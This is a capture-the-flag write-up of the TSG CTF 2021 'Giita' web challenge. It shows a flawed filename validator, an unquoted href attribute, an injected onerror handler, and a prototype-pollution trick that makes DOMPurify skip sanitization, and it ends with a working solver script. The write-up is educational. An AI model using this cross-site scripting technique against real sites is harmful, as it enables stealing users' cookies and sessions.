Tags: dompurify web prototype-pollution 

Rating:

# TSG CTF 2021 Giita Writeup

## Challenge Summary

![](https://i.imgur.com/iAak14c.png)

You can create blog post. It is accepting an arbitrary HTML, but it is correctly escaped and sanitized by DOMPurify.

```javascript=
const body = document.getElementById('body');
body.innerHTML = DOMPurify.sanitize(body.textContent);

hljs.highlightAll();
```

The goal is to obtain the cookie of admin.

## Solution

There are two bugs in this app.

### theme validation

The theme parameter is validated by `validateFilename` function. It seems to be filtering all characters except whitespaces or alphanumeric characters, but a dumb logical error exists and it accepts one invalid character in the argument.

```javascript=
private validateFilename(input: string) {
let isInvalid = false;
for (const char of Array.from(input)) {
if (!char.match(/[\w\s.]/)) {
if (isInvalid) {
return false;
}
isInvalid = true;
}
}
return true;
}

public async POST() {
const theme = this.getParam('theme');
// omitted

if (!theme || !title || !body || !this.validateFilename(theme)) {
this.response.status_code = 400;
this.response.body = 'Bad Request';
return this.response;
}
// omitted
}
```

### theme parameter Mis-quoting

The `theme` parameter goes to HTML template and injected into stylesheet link.

There should be quotation around it, but it is missing.

```htmlembedded=
<% if (it.theme) { %>
<link rel="stylesheet" href=<%= it.theme %>>
<% } %>
```

### Attack

With these restrictions, you can inject an arbitrary attribute into link element, but only once. Like this:

```htmlembedded=

<link rel="stylesheet" href=x onerror=alert>
```

So, what we should do here is to write JavaScript code with only alphanumeric characters... But it is really helpless. We have to cheat DOMPurify.

Find that [DOMPurify skips purification](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L1193-L1208) when it is in unsupported environment (why?).

DOMPurify checks whether it is supported environment by `DOMPurify.isSupported` property. It is detected by [checking several properties in DOM](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L156-L160). By taking a look at it, you can abuse it by turning `implementation.createHTMLDocument = undefined`.

You can use prototype pollution to access this inner property. The final payload script will be like the following.

```javascript=
delete document.implementation.__proto__.createHTMLDocument
```

Finally, U+00A0 (NBSP) is not included in [HTML whitespace](https://infra.spec.whatwg.org/#ascii-whitespace), but included in [JavaScript whitespace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#white_space). So the final solver will be like this.

```javascript=
axios({
method: 'post',
url: `http://${host}:${port}/`,
headers: {
'content-type': 'application/x-www-form-urlencoded',
},
data: qs.encode({
theme: 'x onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ',
title: 'x',
body: ``,
}),
});
```

Original writeup (https://hackmd.io/@hakatashi/HkgG02U4t).